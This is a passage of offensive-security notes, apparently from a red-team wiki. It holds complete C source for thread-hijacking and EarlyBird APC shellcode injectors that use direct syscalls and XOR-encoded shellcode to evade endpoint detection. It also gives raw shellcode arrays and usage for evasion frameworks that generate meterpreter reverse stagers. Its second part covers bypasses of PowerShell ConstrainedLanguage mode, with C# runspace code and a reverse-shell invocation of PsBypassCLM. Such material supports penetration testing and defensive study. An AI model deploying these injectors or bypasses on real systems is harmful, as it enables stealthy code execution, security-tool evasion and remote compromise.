python .\syswhispers.py -a x64 -o ThreadHijacking --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtOpenProcess,NtOpenThread,NtSuspendThread,NtGetContextThread,NtSetContextThread,NtResumeThread
```

```c
int _tmain(int argc, TCHAR** argv) {
    // Hex encoded binary shellcode.

    /* Calc.exe */
    unsigned char shellcode[] = "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
    "\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
    "\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
    "\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
    "\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
    "\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
    "\x48\x83\xec\x20\x41\xff\xd6";

    /* cmd.exe */
    //unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
    //    "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
    //    "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
    //    "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
    //    "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
    //    "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
    //    "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
    //    "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
    //    "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
    //    "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
    //    "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
    //    "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
    //    "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    //    "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
    //    "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
    //    "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
    //    "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
    //    "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"
    //    "\x2e\x65\x78\x65\x00";

    size_t szShellcode = sizeof(shellcode);

    if (argc < 2) {
#ifdef _DEBUG
        printf("Usage: code.exe <TARGET_PROCESS_PID | TARGET_PROCESS_NAME>\n");
#endif
        return 1;
    }

    DWORD tpid = _tstoi(argv[1]);

    if (tpid == 0) {
        tpid = GetProcessId(argv[1]);
    }

    if (tpid == 0) {
#ifdef _DEBUG
        printf("Invalid PID or process name specified\n");
#endif
        return 1;
    }

    // Obtain an handle to the remote process.
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tpid);

    if (!hProc) {
#ifdef _DEBUG
        printf("Getting an handle on remote process using OpenProcess failed: %x\n", GetLastError());
#endif
        return 1;
    }

    // Allocate the memory section for the shellcode as PAGE_READWRITE (to avoid more detected PAGE_EXECUTE_READWRITE).

    size_t szAllocated = szShellcode;

    /* Standard API. */
    // LPVOID shellcodeBaseAddress = VirtualAllocEx(hProc, 0, szAllocated, (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);

    /* ntdll direct call (to avoid an import in the IAT). */
    // pNtAllocateVirtualMemory NtAllocateVirtualMemoryFunc = (pNtAllocateVirtualMemory) GetProcAddress(GetModuleHandleA("ntdll"), "NtAllocateVirtualMemory");
    // NtAllocateVirtualMemoryFunc(hProc, &shellcodeBaseAddress, 0, (PULONG)&szAllocated, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    /* Direct syscall with Syswhisper2 to avoid userland hooks. */
    LPVOID shellcodeBaseAddress = NULL;
    NTSTATUS AllocateVirtualMemoryStatus = NtAllocateVirtualMemory(hProc, &shellcodeBaseAddress, 0, (PSIZE_T)&szAllocated, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!shellcodeBaseAddress) {
#ifdef _DEBUG
        printf("Allocation of memory using VirtualAllocEx failed: %x\n", AllocateVirtualMemoryStatus);
#endif
        return 1;
    }

    // Copy the shellcode in the newly allocated memory section.

    /* Standard API. */
//     BOOL WriteProcessMemoryStatus = WriteProcessMemory(hProc, shellcodeBaseAddress, shellcode, sizeof(shellcode), NULL);
//     if (!WriteProcessMemoryStatus) {
//#ifdef _DEBUG
//         printf("Writing the shellcode memory to remote process using WriteProcessMemory failed: %x\n", GetLastError());
//#endif
//        return 1;
//     }

    /* ntdll direct call (to avoid an import in the IAT). */
    // pNtWriteVirtualMemory NtWriteVirtualMemoryFunc = (pNtWriteVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll"), "NtAllocateVirtualMemory");
    // NTSTATUS  WriteProcessMemoryStatus = NtWriteVirtualMemoryFunc(hProc, shellcodeBaseAddress, shellcode, szShellcode, NULL);

    /* Direct syscall with Syswhisper2 to avoid userland hooks. */
    NTSTATUS WriteProcessMemoryStatus = NtWriteVirtualMemory(hProc, shellcodeBaseAddress, shellcode, szShellcode, NULL);
    if (WriteProcessMemoryStatus != 0) {
#ifdef _DEBUG
        printf("Writing the shellcode memory to remote process using WriteProcessMemory failed: %x\n", WriteProcessMemoryStatus);
#endif
        return 1;
    }

    // Switch the protection of the shellcode's memory section to PAGE_EXECUTE_READ to execute the shellcode.
    DWORD OldProtectt = 0;

    /* Standard API. */
//    BOOL virtualProctectExStatus = VirtualProtectEx(hProc, shellcodeBaseAddress, sizeof(shellcode), PAGE_EXECUTE_READ, &OldProtectt);
//    if (!virtualProctectExStatus) {
//#ifdef _DEBUG
//        printf("Switching the protection of shellcode memory to PAGE_EXECUTE_READ using VirtualProtectEx failed: %x\n", GetLastError());
//#endif
//        return 1;
//    }

    /* ntdll direct call (to avoid an import in the IAT). */
    //pNtProtectVirtualMemory NtProtectVirtualMemoryFunc = (pNtProtectVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll"), "NtProtectVirtualMemory");
    //NTSTATUS virtualProctectExStatus = NtProtectVirtualMemoryFunc(hProc, &shellcodeBaseAddress, &szAllocated, PAGE_EXECUTE_READ, &OldProtectt);

    /* Direct syscall with Syswhisper2 to avoid userland hooks. */
    NTSTATUS virtualProctectExStatus = NtProtectVirtualMemory(hProc, &shellcodeBaseAddress, &szAllocated, PAGE_EXECUTE_READWRITE, &OldProtectt);

    if (virtualProctectExStatus != 0) {
#ifdef _DEBUG
        printf("Switching the protection of shellcode memory to PAGE_EXECUTE_READ using VirtualProtectEx failed: %x\n", NtProtectVirtualMemory);
#endif
        return 1;
    }

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    HANDLE threadHandle = NULL;
    CONTEXT context;
    context.ContextFlags = CONTEXT_FULL;

    if (Thread32First(snapshot, &threadEntry)) {
        do {
            if (threadEntry.th32OwnerProcessID == tpid) {
                OBJECT_ATTRIBUTES ObjectAttributes;
                CLIENT_ID ClientId;
                InitializeObjectAttributes(&ObjectAttributes, NULL, NULL, NULL, NULL);
                ClientId.UniqueProcess = (PVOID)tpid;
                ClientId.UniqueThread = (PVOID)threadEntry.th32ThreadID;
                NTSTATUS OpenThreadStatus = NtOpenThread(&threadHandle, THREAD_ALL_ACCESS, &ObjectAttributes, &ClientId);

                if (OpenThreadStatus == 0 && threadHandle) {
                        break;
                }
#ifdef _DEBUG
                else {
                    printf("Opening of target process thread with NtOpenThread failed: %x\n", OpenThreadStatus);
                    return -1;
                }
#endif
            }
        } while (Thread32Next(snapshot, &threadEntry));
    }

    /* Standard API (no error check). */
    //SuspendThread(threadHandle);
    //GetThreadContext(threadHandle, &context);
    //context.Rip = (DWORD_PTR) shellcodeBaseAddress;
    //SetThreadContext(threadHandle, &context);

    //ResumeThread(threadHandle);

    /* Direct syscall with Syswhisper2 to avoid userland hooks. */

    NTSTATUS SuspendThreadStatus = NtSuspendThread(threadHandle, NULL);
    if (SuspendThreadStatus != 0) {
#ifdef _DEBUG
        printf("Suspending of target thread with NtSuspendThread failed: %x\n", SuspendThreadStatus);
#endif
        return 1;
    }


    NTSTATUS GetContextThreadStatus = NtGetContextThread(threadHandle, &context);
    if (GetContextThreadStatus != 0) {
#ifdef _DEBUG
        printf("Getting context of remote thread with NtGetContextThread failed: %x\n", GetContextThreadStatus);
#endif
        return 1;
    }

    context.Rip = (DWORD_PTR) shellcodeBaseAddress;

    NTSTATUS SetContextThreadStatus = NtSetContextThread(threadHandle, &context);
    if (SetContextThreadStatus != 0) {
#ifdef _DEBUG
        printf("Setting context of remote thread with NtSetContextThread failed: %x\n", SetContextThreadStatus);
#endif
        return 1;
    }

    NTSTATUS NtResumeThreadStatus = NtResumeThread(threadHandle, NULL);
    if (NtResumeThreadStatus != 0) {
#ifdef _DEBUG
        printf("Resuming hijacked thread with NtResumeThread failed: %x\n", NtResumeThreadStatus);
#endif
        return 1;
    }

    return 0;
}
```

*EarlyBird injection - new process*

```
python .\syswhispers.py -a x64 -o EarlyBird --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtOpenProcess,NtResumeThread,NtQueueApcThread
```

```
int main() {
	STARTUPINFOA si;
	PROCESS_INFORMATION pi;
	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);
	ZeroMemory(&pi, sizeof(pi));

	/* Calc.exe */
	//unsigned char shellcode[] = "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
	//"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
	//"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
	//"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
	//"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
	//"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
	//"\x48\x83\xec\x20\x41\xff\xd6";

	/* cmd.exe */
	//unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
	//"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
	//"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
	//"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
	//"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
	//"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
	//"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
	//"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
	//"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
	//"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
	//"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
	//"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
	//"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
	//"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
	//"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
	//"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
	//"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
	//"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"
	//"\x2e\x65\x78\x65\x00";

	/* XOR encoded CMD (0xda) */
	unsigned char shellcode[] = { '\x26','\x92','\x59','\x3e','\x2a','\x32','\x1a','\xda','\xda','\xda','\x9b','\x8b','\x9b','\x8a','\x88','\x8b','\x8c','\x92','\xeb','\x08','\xbf','\x92','\x51','\x88','\xba','\x92','\x51','\x88','\xc2','\x92','\x51','\x88','\xfa','\x92','\x51','\xa8','\x8a','\x92','\xd5','\x6d','\x90','\x90','\x97','\xeb','\x13','\x92','\xeb','\x1a','\x76','\xe6','\xbb','\xa6','\xd8','\xf6','\xfa','\x9b','\x1b','\x13','\xd7','\x9b','\xdb','\x1b','\x38','\x37','\x88','\x9b','\x8b','\x92','\x51','\x88','\xfa','\x51','\x98','\xe6','\x92','\xdb','\x0a','\x51','\x5a','\x52','\xda','\xda','\xda','\x92','\x5f','\x1a','\xae','\xbd','\x92','\xdb','\x0a','\x8a','\x51','\x92','\xc2','\x9e','\x51','\x9a','\xfa','\x93','\xdb','\x0a','\x39','\x8c','\x92','\x25','\x13','\x9b','\x51','\xee','\x52','\x92','\xdb','\x0c','\x97','\xeb','\x13','\x92','\xeb','\x1a','\x76','\x9b','\x1b','\x13','\xd7','\x9b','\xdb','\x1b','\xe2','\x3a','\xaf','\x2b','\x96','\xd9','\x96','\xfe','\xd2','\x9f','\xe3','\x0b','\xaf','\x02','\x82','\x9e','\x51','\x9a','\xfe','\x93','\xdb','\x0a','\xbc','\x9b','\x51','\xd6','\x92','\x9e','\x51','\x9a','\xc6','\x93','\xdb','\x0a','\x9b','\x51','\xde','\x52','\x92','\xdb','\x0a','\x9b','\x82','\x9b','\x82','\x84','\x83','\x80','\x9b','\x82','\x9b','\x83','\x9b','\x80','\x92','\x59','\x36','\xfa','\x9b','\x88','\x25','\x3a','\x82','\x9b','\x83','\x80','\x92','\x51','\xc8','\x33','\x8d','\x25','\x25','\x25','\x87','\x92','\x60','\xdb','\xda','\xda','\xda','\xda','\xda','\xda','\xda','\x92','\x57','\x57','\xdb','\xdb','\xda','\xda','\x9b','\x60','\xeb','\x51','\xb5','\x5d','\x25','\x0f','\x61','\x2a','\x6f','\x78','\x8c','\x9b','\x60','\x7c','\x4f','\x67','\x47','\x25','\x0f','\x92','\x59','\x1e','\xf2','\xe6','\xdc','\xa6','\xd0','\x5a','\x21','\x3a','\xaf','\xdf','\x61','\x9d','\xc9','\xa8','\xb5','\xb0','\xda','\x83','\x9b','\x53','\x00','\x25','\x0f','\xb9','\xb7','\xbe','\xf4','\xbf','\xa2','\xbf','\xda' };

	int szShellcode = sizeof(shellcode);
	VOID CALLBACK APCProc();

	if (!CreateProcessA((LPCSTR)"C:\\Windows\\System32\\calc.exe", (LPSTR)NULL, (LPSECURITY_ATTRIBUTES)NULL, (LPSECURITY_ATTRIBUTES)NULL, (BOOL)FALSE, (DWORD)CREATE_SUSPENDED, (LPVOID)NULL, (LPCSTR)NULL, (LPSTARTUPINFOA)&si, (LPPROCESS_INFORMATION)&pi)) {
#ifdef _DEBUG
        printf("CreateProcessA failed: %x\n", GetLastError());
#endif
        return -1;
	}

	LPVOID shellcodeBaseAddress = VirtualAllocEx(pi.hProcess, NULL, szShellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (shellcodeBaseAddress == NULL) {
#ifdef _DEBUG
            printf("VirtualAllocEx failed: %x\n", GetLastError());
#endif
			return -1;
	}

    /* Standard API */
//    if (!WriteProcessMemory(pi.hProcess, shellcodeBaseAddress, shellcode, szShellcode, NULL)) {
//#ifdef _DEBUG
//        printf("WriteProcessMemory failed: %x\n", GetLastError());
//#endif
//		return -1;
//	}

    /* Standard API - xorred shellcode */
//    for (int i = 0; i < szShellcode; i++) {
//        char DecodedOpCode = shellcode[i] ^ 0xda;
//
//        BOOL WriteProcessMemoryStatus = WriteProcessMemory(pi.hProcess, ((char*)shellcodeBaseAddress) + i, &DecodedOpCode, sizeof(char), NULL);
//        if (!WriteProcessMemoryStatus) {
//#ifdef _DEBUG
//            printf("Writing the shellcode memory to remote process using WriteProcessMemory failed: %x\n", GetLastError());
//#endif
//            return 1;
//        }
//    }

    /* Direct syscalls - xorred shellcode */
    for (int i = 0; i < szShellcode; i++) {
	    char DecodedOpCode = shellcode[i] ^ 0xda;

		NTSTATUS WriteProcessMemoryStatus = NtWriteVirtualMemory(pi.hProcess, ((char*)shellcodeBaseAddress) + i, &DecodedOpCode, sizeof(char), NULL);
		if (WriteProcessMemoryStatus != 0) {
#ifdef _DEBUG
		    printf("Writing the shellcode memory to remote process using WriteProcessMemory failed: %x\n", WriteProcessMemoryStatus);
#endif
			return 1;
		}
	}

    DWORD OldProtectt = 0;
    BOOL virtualProctectExStatus = VirtualProtectEx(pi.hProcess, shellcodeBaseAddress, sizeof(shellcode), PAGE_EXECUTE_READ, &OldProtectt);
#ifdef _DEBUG
    if (!virtualProctectExStatus) {
        printf("Switching the protection of shellcode memory to PAGE_EXECUTE_READ using VirtualProtectEx failed: %x\n", GetLastError());
        return 1;
    }
#endif

    /* Standard API - sometimes buggy */
//    PTHREAD_START_ROUTINE pfnAPC = (PTHREAD_START_ROUTINE)shellcodeBaseAddress;
//	if (!QueueUserAPC((PAPCFUNC)pfnAPC, pi.hThread, NULL)) {
//#ifdef _DEBUG
//        printf("Queing the APC thread failed with: %x\n", GetLastError());
//#endif
//		return -1;
//	}

    /* Direct syscall */
    NTSTATUS NtQueueApcThreadStatus = NtQueueApcThread(pi.hThread, (PKNORMAL_ROUTINE)shellcodeBaseAddress, 0, 0, 0);
    if (NtQueueApcThreadStatus != 0) {
#ifdef _DEBUG
        printf("Queing the APC thread failed with: %x\n", NtQueueApcThreadStatus);
#endif
        return 1;
    }

    Sleep(100);

	ResumeThread(pi.hThread);

	return 0;
}
```

**DripLoader**

[`DripLoader`](https://github.com/xinbailu/DripLoader) is a shellcode loader that attempt to evade security products by:

* Making direct `NtAllocateVirtualMemory` and `NtCreateThreadEx` syscalls (using an header and ASM files containing the syscalls' assembly instructions).
* blending in legitimate memory allocations by only allocating `PageSizesized` (4kB by default) pages to place the shellcode in memory.
* adding a delay between memory allocations to avoid multi-event correlation.

[`DripLoader-EmbedAES`](https://github.com/Qazeer/InfoSec-Notes/blob/master/Windows/XXX/README.md) can be used to pack an `AES`-encrypted and `base64`-encoded shellcode as resource file directly in a `DripLoader` binary. If the `AES` key specified is partial, the missing bytes will be bruteforced. This artificially added complexity may help evade security product's emulation / sandboxes based detections.

**Donut**

[`donut`](https://github.com/TheWover/donut)

TODO

**ScareCrow**

[`ScareCrow`](https://github.com/optiv/ScareCrow)

TODO

**PEzor**

[`PEzor`](https://github.com/phra/PEzor)

TODO

**Phantom-Evasion (outdated)**

`Phantom-Evasion 3.0` is a framework written in `Python` that can generate both `x86` or `x64` executables and `DLL` / `Reflective DLL`.

`Phantom-Evasion 3.0` supports a number of Anti-virus evasion techniques, execution and injection methods (thread, asynchronous procedure call, thread execution hijack, etc.) with various memory allocation techniques, as well as shellcode encryption.

Additionally, out of scope of the present note, `Phantom-Evasion 3.0` can be used to generate Linux shellcode, backdoored Android APK, and offers various Windows privileges escalation and persistence modules.

```bash
# With out any arguments, Phantom-Evasion is started in interactive mode
python3 phantom-evasion.py

-- General options
# -S, --strip / Strip executable
# -c <CERTSIGN>, --certsign <CERTSIGN> / Certificate spoofer and exe signer
# -cd <CERTDESCR>, --certdescr <CERTDESCR> /  Certificate description
# -E <EVASIONFREQUENCY>, --evasionfrequency EVASIONFREQUENCY /  Windows evasion code frequency (default:10)
# -J <JUNKFREQUENCY>, --junkfrequency <JUNKFREQUENCY> / Junkcode frequency (default:10)
# -j <JUNKINTENSITY>, --junkintensity <JUNKINTENSITY> / Junkcode intensity (default:10)
# -jr <JUNKREINJECT>, --junkreinject <JUNKREINJECT> / Junkcode reinjection intensity (default:10)
# -un, --unhook / Add Ntdll unhook routine
# -msq <MASQPATH>, --masqpath <MASQPATH> / Fake Process path for masquerading (default: C:\windows\system32\notepad.exe)
# -msqc <MASQCMD>, --masqcmd <MASQCMD> / Fake Fullcmdline for masquerading (default: empty)

-- Windows meterpreter stager
# MODULES:
#   windows/meterpreter/reverse_TCP = WRT
#   windows/meterpreter/reverse_http = WRH
#   windows/meterpreter/reverse_https = WRS

python3 phantom-evasion.py -a <x86 | x64> -m <WRT | WRH | WRS> -H <LISTENING_IP> -P <LISTENING_PORT> -f <exe | dll> -o <OUTPUT_FILENAME>
```

### Loaded Shellcode in-memory protection

**In memory shellcode's contents encryption and memory protection switch (RW / NoAccess <-> RX)**

*`Cobalt Strike`'s `sleepmask` kit.*

Refer to the `[Cobalt Strike] Beacons generation` note for more information on possibilities natively offered by `Cobalt Strike` for in-memory obfuscation of `beacons` shellcode.

*ShellcodeFluctuation.*

[`ShellcodeFluctuation`](https://github.com/mgeeky/ShellcodeFluctuation)

TODO

**ThreadStackSpoofer**

[`ThreadStackSpoofer`](https://github.com/mgeeky/ThreadStackSpoofer)

TODO

***

### References

<https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection>


# Bypass PowerShell ConstrainedLanguageMode

### Overview

As described in the [official Microsoft documentation](https://docs.microsoft.com/fr-fr/powershell/module/microsoft.powershell.core/about/about_language_modesThe), the language mode of a PowerShell session determines, in part, which elements of the PowerShell language can be used in the session.

The following four language modes are currently supported in PowerShell:

| Language mode                                                                        | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| ------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `FullLanguage`                                                                       | <p>No restriction imposed and allows all language elements.<br><br>Default language mode.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `RestrictedLanguage`                                                                 | All commands (cmdlets, functions, etc.) are allowed but the use of script blocks is not permitted.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `NoLanguage`                                                                         | Can only be used through the API as no script text of any form is permitted.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| <p><code>ConstrainedLanguage</code><br><br>Introduced in PowerShell version 3.0.</p> | <p>All cmdlets and PowerShell language elements are authorized, but it strongly limits the types allowed. For instance, the direct use of .NET methods (such as <code>System.Net.Webclient</code>), Win32 APIs, and COM objects are not permitted.<br><br>Use of offensive PowerShell scripts is likely not directly possible in sessions running in this mode.<br><br>For more information on the allowed types, the <a href="https://docs.microsoft.com/fr-fr/powershell/module/microsoft.powershell.core/about/about_language_modes#constrained-language-constrained-language">Microsoft documentation</a> can be consulted.</p> |

The PowerShell language mode can be defined in the `__PSLockdownPolicy` environment variable. The following registry key sets the aforementioned variable system-wide, resulting in the defined language mode to be enforced for all PowerShell sessions:

```
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\__PSLockdownPolicy
```

**AppLocker & PowerShell ConstrainedLanguage mode**

Starting from PowerShell version 5.0, if a Windows `AppLocker` policy in `Allow Mode` (whitelisting) is applied to scripts, PowerShell will automatically start in `ConstrainedLanguage` mode. As per [PowerShell ♥ the Blue Team](https://devblogs.microsoft.com/powershell/powershell-the-blue-team/), this restriction applies to both interactive input and user-authored scripts.

### PowerShell language mode retrieval

The following command retrieves the language mode of the current PowerShell session:

```
$ExecutionContext.SessionState.LanguageMode
```

Note that in sessions running in `RestrictedLanguage` or `NoLanguage` mode, the command will return an error, due to the fact that the dot method cannot be used to retrieve property values. The error message returned will however indicate the language mode of the session.

### \[Unprivileged] ConstrainedLanguage mode bypass using PowerShell downgrade

As the `ConstrainedLanguage` language mode was introduced in PowerShell version 3.0, executing PowerShell version 2.0 can be used to easily bypass the restriction:

```
# Starts an interactive PowerShell session.
powershell.exe -version 2

powershell.exe -version 2 -c '$ExecutionContext.SessionState.LanguageMode'
```

Note that downgrading PowerShell to circumvent language mode will not be doable on the Windows 10 operating system in a default configuration, as the underlying `.NET Framework 2.0`, required to run version 2.0 of PowerShell, is not installed.

### \[Privileged] System-wide deactivation through removal of the associated registry key

By default, members of the local built-in `Administrators` group can modify the `__PSLockdownPolicy` registry key, which governs the system-wide setting of the language mode environment variable.

A new PowerShell session must be started after the modification for the new environment variable value to be taken into account.

```
# Retrieves the ACL of the Environment registry key.

Get-Acl "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\" | Select-Object -ExpandProperty Access
```

```
# Sets the PowerShell language mode to "FullLanguage".
# FullLanguage = 8 & ConstrainedLanguage = 4.

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\" -name __PSLockdownPolicy -Value 8
```

### \[Unprivileged] ConstrainedLanguage mode bypass using PowerShell hosts

As the language mode is only applied to `powershell.exe` / `PowerShell ISE`, creating a [PowerShell host in a C# application](https://docs.microsoft.com/en-us/powershell/scripting/developer/hosting/windows-powershell-host-quickstart) may be use to bypass the `ConstrainedLanguage` language mode. PowerShell commands can indeed be called in a different runspace in C# application using the `System.Management.Automation` library. The PowerShell commands called under this scenario will not be affected by the language mode defined on the system.

**Standard binary**

The following C# code snipped, adapted from [`PSByPassCLM`](https://github.com/padovah4ck/PSByPassCLM), can be used to emulate an interactive PowerShell console in a runspace unaffected by language mode:

```
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Collections.ObjectModel;
using System.Text;

namespace PowerShellConstrainedLanguageBypass {
    public class Program {
        public static void Main(string[] args) {
            Runspace runspace = RunspaceFactory.CreateRunspace();
            runspace.Open();

            RunspaceInvoke runSpaceInvoker = new RunspaceInvoke(runspace);
            runSpaceInvoker.Invoke("Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope Process");

            string cmd = "";
            do {
                Console.Write("PS > ");
                cmd = Console.ReadLine();

                if (!string.IsNullOrEmpty(cmd)) {

                    using (Pipeline pipeline = runspace.CreatePipeline()) {

                        try {
                            pipeline.Commands.AddScript(cmd);
                            pipeline.Commands.Add("Out-String");

                            Collection<PSObject> results = pipeline.Invoke();
                            StringBuilder stringBuilder = new StringBuilder();

                            foreach (PSObject obj in results) {
                                stringBuilder.AppendLine(obj.ToString());
                            }

                            Console.Write(stringBuilder.ToString());
                        }

                        catch (Exception ex) {
                            Console.WriteLine("{0}", ex.Message);
                        }
                    }
                }
            } while (cmd != "exit");
        }
    }
}
```

`PSByPassCLM` provides an already compiled binary in the project's GitHub repository:

```
# Starts an interactive PowerShell console.
PsBypassCLM.exe

# Attempts a reverse shell connection to the specified host. The remote host must be listening on the specified port.
PsBypassCLM.exe <HOSTNAME | IP> <PORT>
```

**With AppLocker restricting executable usage**

If Windows `AppLocker` is enabled, and a policy restrict the execution of binaries, `AppLocker` will have to be circumvented in order to bypass the PowerShell `ConstrainedLanguage` language mode. In its default configuration, `AppLocker` can be easily bypassed. Refer to the `Windows - Bypass AppLocker` note for more information on how to enumerate the defined rules and default-configuration bypass techniques.

